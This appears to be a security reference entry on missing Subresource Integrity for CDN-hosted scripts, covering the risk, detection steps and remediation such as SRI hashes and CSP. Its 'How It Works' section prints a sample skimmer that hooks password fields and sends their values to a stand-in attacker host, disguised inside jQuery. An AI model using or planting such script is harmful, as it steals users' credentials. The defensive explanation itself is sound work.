Missing Subresource Integrity

Description

Subresource Integrity (SRI) is a browser security feature that allows web pages to verify that externally loaded resources—JavaScript libraries, CSS stylesheets—have not been tampered with. When a page includes a third-party script from a CDN without an SRI hash, the browser will execute whatever content the CDN serves at that URL. If the CDN is compromised, the CDN account is hijacked, the resource URL is taken over after a package deprecation, or a BGP hijack reroutes CDN traffic, every user of the application receives and executes the attacker's payload.

CWE-829 (Inclusion of Functionality from Untrusted Control Sphere) describes the problem: the application is depending on a resource outside its own security boundary without any integrity verification. A08:2021 Software and Data Integrity Failures captures the broader pattern of failing to verify the integrity of externally sourced components. High-profile supply chain incidents such as the Polyfill.io compromise in 2024—where a malicious actor acquired the domain and began serving malware to hundreds of thousands of sites—demonstrate the real-world impact of missing SRI.

The vulnerability affects any <script> or <link> tag that loads from an external origin: CDNs hosting jQuery, Bootstrap, Font Awesome, analytics scripts, payment SDKs, and chat widgets are all potential vectors.

How It Works

A page without SRI loads a CDN-hosted library with no integrity verification:

<!-- Vulnerable: no integrity attribute -->
<script src="https://cdn.jsdelivr.net/npm/jquery@3.7.1/dist/jquery.min.js"
        crossorigin="anonymous"></script>

With SRI, the browser computes a cryptographic hash of the downloaded resource and compares it to the expected hash embedded in the HTML. Any mismatch causes the browser to block execution:

<!-- Protected: integrity hash prevents tampered execution -->
<script src="https://cdn.jsdelivr.net/npm/jquery@3.7.1/dist/jquery.min.js"
        integrity="sha256-/JqT3SQfawRcv/BIHPThkBvs0OEvtFFmqPF/lYI/Cxo="
        crossorigin="anonymous"></script>

An attacker who compromises the CDN hosting jquery.min.js and replaces it with a payload like the following would have that payload execute in every visitor's browser on a site without SRI:

// Injected into CDN-hosted jquery.min.js
(function(){
  document.addEventListener('DOMContentLoaded', function() {
    var f = document.createElement('form');
    f.action = 'https://exfil.attacker.com/collect';
    document.querySelectorAll('input[type=password]').forEach(function(i) {
      i.addEventListener('change', function() {
        fetch('https://exfil.attacker.com/pw?v=' + encodeURIComponent(this.value));
      });
    });
  });
})();
// Followed by legitimate jQuery code to avoid detection

Penetration testers check for missing SRI using automated tools or by reviewing page source:

# Check all script tags for missing integrity attributes
curl -s https://example.com | grep -oP '<script[^>]+src="[^"]+"[^>]*>' | grep -v integrity

Impact

• Mass credential theft — A malicious CDN script intercepts form submissions including passwords, payment card details, and MFA codes for every site visitor.
• Session hijacking at scale — Injected scripts exfiltrate cookies and localStorage tokens from all authenticated users simultaneously.
• Malware distribution — The application becomes an unwitting vector for distributing malware or cryptominers to its entire user base.
• Reputational damage — A supply chain compromise via CDN is attributed to the affected website in public reporting, damaging user trust.
• Regulatory liability — A PCI-DSS or HIPAA environment that serves malicious scripts faces significant compliance and legal exposure.

Detection

1. Review the application's HTML source for all <script> and <link rel="stylesheet"> tags that load resources from external origins (cross-origin URLs).
2. For each external resource, verify the presence of both integrity and crossorigin attributes; a missing crossorigin="anonymous" attribute prevents the browser from enforcing the SRI check properly.
3. Use the browser's developer tools Network panel to identify dynamically loaded external scripts not present in the initial HTML.
4. Use retire.js or npm audit in combination with SRI checking to identify both outdated and integrity-unprotected dependencies.
5. Test whether the application includes scripts from CDN domains for deprecated or unmaintained packages that may have had their hosting taken over.

Remediation

Generate SRI hashes for all external resources. Use openssl or the SRI Hash Generator at https://www.srihash.org:

curl -s https://cdn.jsdelivr.net/npm/jquery@3.7.1/dist/jquery.min.js | \
  openssl dgst -sha256 -binary | openssl base64 -A
# Output the base64 hash and prefix with "sha256-"

Integrate SRI generation into the build pipeline. Use webpack plugins (webpack-subresource-integrity) or build scripts to automatically compute and embed hashes during deployment, ensuring hashes stay synchronized with resource versions.

Self-host critical dependencies. For high-sensitivity applications, host JavaScript dependencies on your own origin rather than third-party CDNs. This eliminates CDN supply chain risk entirely.

Implement a restrictive Content Security Policy. CSP: script-src 'self' https://cdn.trusted.com limits which origins can serve scripts, reducing the blast radius of a CDN compromise.